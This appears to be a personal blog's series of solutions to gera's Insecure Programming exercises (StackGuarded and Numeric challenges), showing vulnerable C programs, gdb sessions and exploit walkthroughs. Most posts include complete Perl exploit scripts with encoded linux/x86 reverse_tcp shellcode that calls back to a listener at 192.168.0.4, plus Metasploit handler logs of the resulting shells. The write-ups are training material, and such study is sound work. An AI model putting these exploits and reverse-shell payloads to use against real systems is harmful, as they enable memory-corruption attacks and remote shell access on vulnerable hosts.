Thursday, July 12, 2012

StackGuarded #3

Here is my solution to gera's StackGuarded #3. Same caveats as before.

/* sg3.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

char *read_it(char *msg) {
    char buf[128];
    int count;

    buf[read(0,buf,sizeof buf)]=0;
    return strdup(buf);
}

int main(int argv, char **argc) {
    char *msg = malloc(1000);

    snprintf(msg,1000,"User: %s",read_it(msg));
}


* I had to compile this with -mpreferred-stack-boundary=2 so that gcc wouldn't pad buf.

The read allows for a 1 byte overflow of buf into the saved framed pointer, which will be main's ebp when read_it returns. The least significant byte will be overwritten with a "\x00".

[dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x8048554 <main+24&gt:    pushl  0xfffffffc(%ebp)
0x8048557 <main+27>:    call   0x8048500 <read_it>
0x804855c <main+32>:    add    $0x4,%esp
...;
End of assembler dump.
(gdb) b *0x8048554
Breakpoint 1 at 0x8048554: file sg3.c, line 15.
(gdb) b *0x804855c
Breakpoint 2 at 0x804855c: file sg3.c, line 15.
(gdb) run < 128
Starting program: /home/dennis/sg3/sg3 < 128

Breakpoint 1, main (argv=1, argc=0xbffffaf4) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $ebp
0xbffffa88:     0xbffffac8
(gdb) c
Continuing.

Breakpoint 2, 0x0804855c in main (argv=1094795585, argc=0x41414141) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $ebp
0xbffffa00:     0x41414141


Since variables are referenced relative to ebp, this overwrite let's me control some things. As can be seen above, main's ebp now points somewhere in my string of As.

I need to make sure that msg still points to something writable so that the snprintf will succeed. I'm using DTORs just because I had it handy during a trial-and-debug session (plus it can be nm'd from the binary), but it can be anywhere writable.

 [dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x804856f
:    call   0x80483d8
0x8048574
:    add    $0x10,%esp
...
End of assembler dump.
(gdb) b *0x804856f
Breakpoint 1 at 0x804856f: file sg3.c, line 15.
(gdb) b *0x8048574
Breakpoint 2 at 0x8048574: file sg3.c, line 15.
(gdb) run < of
Starting program: /home/dennis/sg3/sg3 < of

Breakpoint 1, 0x0804856f in main (argv=1128481603, argc=0x43434343) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $esp
0xbffffa74:     0x08049614  <-- "msg", which i control somewhat
(gdb)
0xbffffa78:     0x000003e8  <-- 1000
(gdb)
0xbffffa7c:     0x080485e8  <-- "User: %s" format string
(gdb)
0xbffffa80:     0x08049b20  < -- return value from read_it()
(gdb) x/x 0x08049614
0x8049614 <__DTOR_END__>:       0x00000000
(gdb) c
Continuing.

Breakpoint 2, 0x08048574 in main (argv=1073832704, argc=0x40016998) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/s 0x08049614
0x8049614 <__DTOR_END__>:        "User: DDDD\024\226\004\bAAAANüÿ¿", 'C'


The first part shows the parameters on the stack before snprintf is called. msg is somewhat controlled by me due to the ebp overwrite. By "somewhat" I mean I can add/remove environment variables for example to adjust the stack so that the overwritten ebp will point somewhere I control.

Notice how the snprintf succeeds by writing "User: DDDD" to DTORs.

Here is what main's leave and ret look like with the overwritten ebp.

 [dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x804856f
:    call   0x80483d8
0x8048574
:    add    $0x10,%esp
0x8048577
:    leave
0x8048578
:    ret
End of assembler dump.
(gdb) b *0x8048578
Breakpoint 1 at 0x8048578: file sg3.c, line 16.
(gdb) run < of
Starting program: /home/dennis/sg3/sg3 < of

Breakpoint 1, 0x08048578 in main (argv=Cannot access memory at address 0x41414149
) at sg3.c:16
16      }
(gdb) x/x $ebp
0x41414141:     Cannot access memory at address 0x41414141
(gdb) x/x $esp
0xbffffa04:     0xbffffc4e


Some As from our exploit string are popped into ebp and esp is adjusted to point to our shellcode address (pointing to the process's environment). On ret, this address will be popped into eip and execution will start.

Here it is put together

[dennis@localhost sg3]$ export SG3=`perl sc.pl`
[dennis@localhost sg3]$ ./ev3
SG3 is at 0xbffffc4e
[dennis@localhost sg3]$ perl exp.pl > of

dennis@ipa:~/sg3$ cat exp.pl                                                  
#!/usr/bin/perl

use warnings;
use strict;

my $write_value = "D" x 4;

# need a valid address to write to, i'm using dtors because i had it handy from an earlier trial-and-debug session. bonus you can nm it from the binary
my $write_addr = "\x14\x96\x04\x08";

# main's leave instruction will put this value in ebp
my $leave_ebp = "A" x 4;

# main's ret instruction will put this value in eip
my $ret_addr = "\x4e\xfc\xff\xbf";

my $filler = "C" x 112;

print $write_value.$write_addr.$leave_ebp.$ret_addr.$filler;


...

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:52266) at 2012-07-12 17:54:54 -0500

id
/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍid: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg3

StackGuarded #2

Here's my solution to gera's StackGuarded #2, same caveats as StackGuarded #1 apply.

/* sg2.c                                                   *
 *  * specially crafted to feed your brain by gera@corest.com */

void func(char *msg) {
   char buf[80];
   strcpy(buf,msg);
}

int main(int argv, char** argc) {
   func(argc[1]);
}

The stack for this one looks something like

char *msg (parameter passed to func)
func's saved return address
StackGuard's canary
func's saved frame pointer address
char buf[80]

The key here is noticing that the canary does not protect the saved frame pointer (ebp) on the stack and it can be overwritten.

From my notes on Advanced Windows Buffer Overflows: awbo5, func's function epilog will do something like:

; copies ebp--which we control a bit--into esp
mov esp,ebp
; cause esp to increase by 4
pop ebp
; pops the address of where esp points to into eip and starts executing there
retn


I will use the strcpy to overflow buf and overwrite func's saved frame pointer to point 4 bytes before the shellcode (which is loaded in the process's environment.) Once ebp is popped from the stack, the stack pointer will point at the start of my shellcode. ret will pop the next address off the stack and start executing instructions from there.

#!/usr/bin/perl

my $nops = "\x90" x 21;

my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# the ret will load 0xbffffc53 into eip which points 4 bytes ahead into the nop slide

print "\x53\xfc\xff\xbf" . $nops . $shellcode;







[dennis@localhost sg2]$ export SG2=`perl sc.pl`
[dennis@localhost sg2]$ ./ev2
SG2 is at 0xbffffc4e


As can be seen from the comment, I prepended an address that points a few bytes into the nop slide.

Here is a gdb run down.

[dennis@localhost sg2]$ gdb sg2
...
(gdb) disas func
...
0x8048478 <func+24>:    leave 
0x8048479 <func+25>:    ret   
End of assembler dump.
(gdb) break *0x8048479
Breakpoint 1 at 0x8048479: file sg2.c, line 7.
(gdb) run `perl -e 'print "A" x 88 . "\x4b\xfc\xff\xbf"'`
Starting program: /home/dennis/sg2/sg2 `perl -e 'print "A" x 88 . "\x4b\xfc\xff\xbf"'`

Breakpoint 1, 0x08048479 in func (
    msg=0x90909090 <Address 0x90909090 out of bounds>) at sg2.c:7
7       }
(gdb) info frame
Stack level 0, frame at 0xbffffc4b:
 eip = 0x8048479 in func (sg2.c:7); saved eip 0xbffffc53
 called by frame at 0x3d324753
 source language c.
 Arglist at 0xbffffc4b, args: msg=0x90909090 <Address 0x90909090 out of bounds>
 Locals at 0xbffffc4b, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffc4b, eip at 0xbffffc4f
(gdb) x/x 0xbffffc4b + 4
0xbffffc4f:     0xbffffc53
(gdb) x/i 0xbffffc53
0xbffffc53:     nop   
(gdb)
0xbffffc54:     nop   

A breakpoint is set on func's ret. At the breakpoint, the saved ebp points to 0xbffffc4b. Adding 4 to it points to the saved eip. The saved eip points to the start of the shellcode and it's value is the jump-a-head address from above (0xbffffc53).

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 4 opened (192.168.0.4:4444 -> 192.168.0.38:52056) at 2012-07-12 11:17:05 -0500

id
/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍid: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg2

Wednesday, July 11, 2012

StackGuarded #1

Here's my solution to gera's StackGuarded #1.

Since I was unable to track down an old Immunix ISO or an old enough gcc source tarball to patch manually, I'm trying to solve these challenges in the intended spirit of the exercises. The binaries are not compiled with StackGuard.


/* sg1.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

int func(char *msg) {
    char buf[80];

    strcpy(buf,msg);
    // toupper(buf);        // here just to give func() "some" sence
    strcpy(msg,buf);
    exit(1);
}

int main(int argv, char** argc) {
        func(argc[1]);
}

The stack will look something like


char *msg (parameter passed to func)
func's saved return address
StackGuard's canary
saved frame pointer
char buf[80]


On return from func, if the canary has been overwritten, the executable exits and logs a buffer overflow condition.

The key point is that the canary is checked on return from the function, this means we can still overwrite things before the return.

I'm using the first strcpy to overflow buf into msg, the parameter passed by main to func.


[dennis@localhost sg1]$ gdb sg1
...
(gdb) break 8
Breakpoint 1 at 0x80484a8: file sg1.c, line 8.
(gdb) run `perl -e 'print "A" x 96 . "B" x 4'`
Starting program: /home/dennis/sg1/sg1 `perl -e 'print "A" x 96 . "B" x 4'`

Breakpoint 1, func (msg=0x42424242 <Address 0x42424242 out of bounds>)
    at sg1.c:9
9           strcpy(msg,buf);
(gdb) x/x &msg
0xbffffa20:     0x42424242

With the msg pointer in my control, I'm going to use the second strcpy to write a value anywhere.

 The value I'm writing is the address of my shellcode, loaded in the processes environment, and the anywhere I'm going to write to is exit's GOT entry (since exit is called next, before func returns.)


[dennis@localhost sg1]$ objdump -R sg1 | grep exit
08049588 R_386_JUMP_SLOT   exit

dennis@ipa:~/sg1$ cat sc.pl
#!/usr/bin/perl

my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

print $shellcode;

[dennis@localhost sg1]$ export SG1=`perl sc.pl`

dennis@ipa:~/sg1$ cat ev1.c                                                   
#include <stdlib.h>
/* this progname name must be same length as sg1 */

int
main()
{
        char *envaddr;

        envaddr = getenv("SG1");
        printf("SG1 is at %p\n", envaddr);
}




[dennis@localhost sg1]$ ./ev1
SG1 is at 0xbffffc67

Put together it looks like


[dennis@localhost sg1]$ ./sg1 `perl -e 'print "\x67\xfc\xbff\xbf" . "A" x 92 . " \x88\x95\x04\x08"'`

...

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:51515) at 2012-07-11 18:22:38 -0500


/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍ: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg1

Sunday, May 20, 2012

Numeric #5

Here's my solution to gera's Numeric #5 with a few debugging printfs.

/* n5.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

#include <stdio.h>

int main(int argv, char **argc) {
        char **args,buf[80];
        unsigned int index,count;

        fscanf(stdin, "%u", &count);

        printf("count: 0x%x (%u)\n", count, count);

        printf("count*sizeof(char*): 0x%x (%u)\n", count*sizeof(char*), count*sizeof(char*));

        args = malloc(count*sizeof(char*));

        while (1) {
                fscanf(stdin,"%u %80s", &index, buf);

                printf("index: 0x%x (%u)\n", index, index);

                if (index<count) {
                        args[index] = strdup(buf);
                        printf("in if\n");
                }
                else break;
        }
}

count needs to be large for two reasons. The first one is so that the malloc allocation turns into a small integer and returns a valid memory address into args. and the second one is so that it will be larger than index in the later "if" statement. I settled on "-1073741824" to meet these needs.

(gdb) run < exp
Starting program: /home/dennis/n5/n5 < exp
count: 0xc0000000 (3221225472)
count*sizeof(char*): 0x0 (0)

With these conditions met, the pointer returned by strdup can be stored in all sorts of places such as main's saved eip on the stack.

index: 0x2dfed89f (771676319)

Breakpoint 1, main (argv=1, argc=0xbffffb24) at n5.c:25
25                              printf("in if\n");
(gdb) x/x (args + index)
0xbffffabc:     0x08049850
(gdb) x/x 0x08049850
0x8049850:      0xc9299090
(gdb) info frame
Stack level 0, frame at 0xbffffab8:
 eip = 0x80485ea in main (n5.c:25); saved eip 0x8049850
 called by frame at 0xbffffaf8
 source language c.
 Arglist at 0xbffffab8, args: argv=1, argc=0xbffffb24
 Locals at 0xbffffab8, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffab8, eip at 0xbffffabc

Here is my proof of concept code.

#!/usr/bin/perl

use warnings;
use strict;

# linux/x86/shell/reverse_tcp, LHOST=192.168.0.4, bad chars "\x00\x0a\x0d\x0c", size 76
my $shellcode =
"\x29\xc9\x83\xe9\xf3\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76" .
"\x0e\x8f\xb6\xc2\x39\x83\xee\xfc\xe2\xf4\xbe\x6d\x91\x7a" .
"\xdc\xdc\xc0\x53\xe9\xee\x4b\xd8\x42\x36\x55\x62\xe7\x76" .
"\x6a\x39\x8b\xd0\xaa\x28\xd3\xd0\x91\xb0\x6e\xdc\xa4\x61" .
"\xdf\xe7\x95\xb0\x6e\xf5\x0f\xb9\xd4\x2f\x74\x35\x3f\xb5" .
"\x0f\xb9\x70\x57\xc2\x39";

# buf is 80 bytes long - \n - \0
my $nops = "\x90" x (78-length($shellcode));

# malloc allocs 0 bytes, returns valid address
print "-1073741824" . "\n";

# x * 4 == bytes to main's saved eip
# (args + x) == bytes to main's saved eip
# saved eip is hardcoded to 0xbffffabc for simplicity
print "771676319 " . $nops . $shellcode . "\n";

# break out of loop
print "-1" . "\n";

And in action

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 3 opened (192.168.0.4:4444 -> 192.168.0.38:49415) at 2012-05-20 19:40:58 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/n5

As a side note, the fscanf function introduced 2 new badchars that required new shellcode generation.



Saturday, May 12, 2012

Numeric: ns4

Here is gera's Insecure Programming ns4.c with a few debugging printfs to help visualize some things.

 /* n4.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

#include <stdio.h>
#include <string.h>
unsigned int count;

int main(int argv, char **argc) {
        char buf[80],**args;

        fscanf(stdin, "%u", &count);
        printf("unsigned int count = 0x%x (%u)\n", count, count);

        printf("\nunsigned int sizeof(char *) = 0x%x (%u)\n", sizeof(char *), sizeof(char *));

        args = alloca(count*sizeof(char*));
        printf("\nunsigned int count1.*sizeof(char *) = 0x%x (%u)\n", count*sizeof(char*), count*sizeof(char*));

        while (count--) {
                if (!fgets(buf,sizeof buf,stdin)) break;
                *args++=strdup(buf);
        }
}

This differs from ns3 in that args is now on the stack instead of bss. The stack will look something like this:

esp
[alloca 1] --> [strdup 1] --> heap
[alloca 2] --> [strdup 2] --> heap
[alloca 3] --> [strdup 3] --> heap
args --> [alloca 1]
buf[0]
buf[1]
...
buf[79]
saved ebp
saved eip

Notice how args is between alloca's allocation and the good stuff like saved eip.

As before, the math problem in alloca can be overflowed so that count is a very large number while the size allocated is very small; this allows me to write past alloca's allocation into args.

On the loop iteration that overwrites args itself, args will now point  somewhere on the heap. Instead of continuing to overwrite the stack with strdup return addresses, further iterations will now overwrite pieces of the heap section. I wasn't able to figure out anything valuable to overwrite with this method and thought I had reached a dead end.

While inputting a large unsigned int count value, -4 (4294967292), I noticed that alloca returned a pointer to the start of buf:

 (gdb) break 20
Breakpoint 1 at 0x80485b3: file ns4.c, line 20.
(gdb) run
Starting program: /home/dennis/ns4/ns4
-4
unsigned int count = 0xfffffffc (4294967292)

unsigned int sizeof(char *) = 0x4 (4)

unsigned int count*sizeof(char *) = 0xfffffff0 (4294967280)

Breakpoint 1, main (argv=1, argc=0xbffffb24) at ns4.c:20
20              while (count--) {
(gdb) x/x $esp
0xbffffa60:     0x00000001
(gdb) x/x args
0xbffffa60:     0x00000001
(gdb) x/x buf
0xbffffa60:     0x00000001


 I don't have the source code available to the really old version of Linux I've been using for these Gera examples to verify and my pointer math skills are fuzzy, but here are my (uneducated) thoughts on what may be happening.

If I could force alloca to allocate exactly 4 bytes, to hold one address, the stack would look like this:

esp
a40: alloca 1
a44: buf[0]

If I could force alloca to allocate the maximum number of bytes, 2^32 (4294967295), the stack would look exactly the same, because some pointer math within alloca would overflow back to the same spot:

esp
a40: alloca 1
a44: buf[0]

In my example, I'm supplying 4 less bytes than the maximum, the pointer math ends up equaling the start of buf.

This consequence allows the while loop to continue overwriting stack stuff like buf, saved ebp, and saved eip.
 
#!/usr/bin/perl

use warnings;
use strict;

# linux/x86/shell/reverse_tcp, LHOST=192.168.0.4, badchars "\x00\x0a", size 77
my $shellcode =
"\xd9\xd0\xbb\xc1\x92\xca\xd4\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x0d\x31\x5f\x19\x03\x5f\x19\x83\xef\xfc\x23\x67\xfb" .
"\x0f\xf0\xcb\xaf\xc5\xf4\xa1\x29\x42\x71\xd4\x7b\xf2\x16" .
"\x4c\xec\x33\xb0\x73\xe8\xd5\xa8\x62\xac\x7f\x7b\x0c\xad" .
"\xea\x1d\x56\x7e\xba\xb6\xef\x9f\x7f\xf5\x70\x04\x19\xb3" .
"\x7d\x0b\x1a\x76\xfd\x94\xfc";

# buf is 80 bytes long - \n - \0
my $nops = "\x90" x (78-length($shellcode));

print "-4"; # alloca returns buf somehow

# 24 rows of filler
for (my $i = 1; $i < 24; $i++) {
        print "AAAA";
        print "\n"
}

print $nops . $shellcode . "\n";

 In action

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:49200) at 2012-05-12 12:33:22 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/ns4



Sunday, February 12, 2012

Numeric: ns3

gera's Insecure Programming ns2.c was the same as ns1.c.

Here is gera's Insecure Programming ns3.c with a few debugging printfs to help visualize the integer overflow.

/* n3.c *
* specially crafted to feed your brain by gera@core-sdi.com */

#include <stdio.h>
#include <string.h>

unsigned int count;
char **args;

int main(int argv, char **argc) {
char buf[80];

fscanf(stdin, "%u", &count);
printf("unsigned int count = 0x%x (%u)\n", count, count);

printf("\nunsigned int sizeof(char *) = 0x%x (%u)\n", sizeof(char *), sizeof(char *));

args = alloca(count*sizeof(char*));
printf("\nunsigned int count*sizeof(char *) = 0x%x (%u)\n", count*sizeof(char*), count*sizeof(char*));


while (count--) {
if (!fgets(buf,sizeof buf,stdin)) break;
*args++=strdup(buf);
}
}

A quick run down of the code:
  1. args is a pointer to a character pointer and is declared out in bss land.
  2. An unsigned integer is read into count from standard input.
  3. alloca is like malloc, but allocates storage space on the stack. it allocates count * sizeof(char *) bytes and assigns it to args. this math problem will cause an integer overflow as shown below.
  4. Up to count/EOF lines are read in from standard input.
  5. The contents of each line is copied to the heap (via strdup) and their addresses are stored in the stack space allocated by alloca.
The maximum value for an unsigned int (on my 32-bit x86) is 2^32 = 4,294,967,296. count, an unsigned int, will be multplied by 4 (size of a character pointer). 4,294,967,296/4 = 1,073,741,824. Here are what the the values look like around this boundary.

[dennis@localhost n3]$ ./n3_debug
1073741824
unsigned int count = 0x40000000 (1073741824)

unsigned int sizeof(char *) = 0x4 (4)

unsigned int count*sizeof(char *) = 0x0 (0)

[dennis@localhost n3]$ ./n3_debug
10737418276
unsigned int count = 0x40000002 (1073741826)

unsigned int sizeof(char *) = 0x4 (4)

unsigned int count*sizeof(char *) = 0x8 (8)

As can be seen, the multiplication overflows the unsigned int and wraps back to 0 causing only 8 bytes to be allocated instead of 1,073,741,826 bytes. This allows the while loop to write past alloca's allocation into things like main's saved eip.
Here is what the stack looks like just before main returns using a pattern input.

(gdb) info frame
Stack level 0, frame at 0xbffffab8:
eip = 0x8048610 in main (n3_debug.c:26); saved eip 0x8049cc8
called by frame at 0x8049ca0
source language c.
Arglist at 0xbffffab8, args: argv=134520048, argc=0x8049d18
Locals at 0xbffffab8, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffffab8, eip at 0xbffffabc
(gdb) x/x 0xbffffabc
0xbffffabc: 0x08049cc8
(gdb) x/x *0xbffffabc
0x8049cc8: 0x61616161
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x08049ce8 in ?? ()

During one of the loop iterations (after writing past alloca's storage space), main's saved eip is overwritten with an address returned from a strdup. This address points to a character string in the heap that contains a bunch of "a"s (0x61).

Here is my exploit code to take advantage of this integer overflow and stack overflow.

#!/usr/bin/perl

use warnings;
use strict;

# linux/x86/shell/reverse_tcp, LHOST=192.168.0.4, badchars "\x00\x0a", size 77
my $shellcode =
"\xd9\xd0\xbb\xc1\x92\xca\xd4\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x0d\x31\x5f\x19\x03\x5f\x19\x83\xef\xfc\x23\x67\xfb" .
"\x0f\xf0\xcb\xaf\xc5\xf4\xa1\x29\x42\x71\xd4\x7b\xf2\x16" .
"\x4c\xec\x33\xb0\x73\xe8\xd5\xa8\x62\xac\x7f\x7b\x0c\xad" .
"\xea\x1d\x56\x7e\xba\xb6\xef\x9f\x7f\xf5\x70\x04\x19\xb3" .
"\x7d\x0b\x1a\x76\xfd\x94\xfc";

# buf is 80 bytes long - \n - \0
my $nops = "\x90" x (78-length($shellcode));

# overflows alloca math to only allocate 8 bytes.
print "1073741826\n";

# 26 rows of filler
for (my $i = 1; $i < 27; $i++) {
print "A" x 32;
print "\n"
}

print $nops . $shellcode . "\n";

A small nop sled and shellcode are read in on the 28th iteration of the loop. strdup copies this egg to the heap and returns it's address to *args. *args will at that time be pointing to main's saved eip. On return from main, the heap address is popped from saved eip into eip and the the shellcode starts executing.

Here's what it looks like in action.

[dennis@localhost n3]$ ./n3_debug < exp2
unsigned int count = 0x40000002 (1073741826)

unsigned int sizeof(char *) = 0x4 (4)

unsigned int count*sizeof(char *) = 0x8 (8)

[dennis@localhost n3]$ exit

...

msf > use multi/handler
msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:59560) at 2012-02-12 18:15:50 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/n3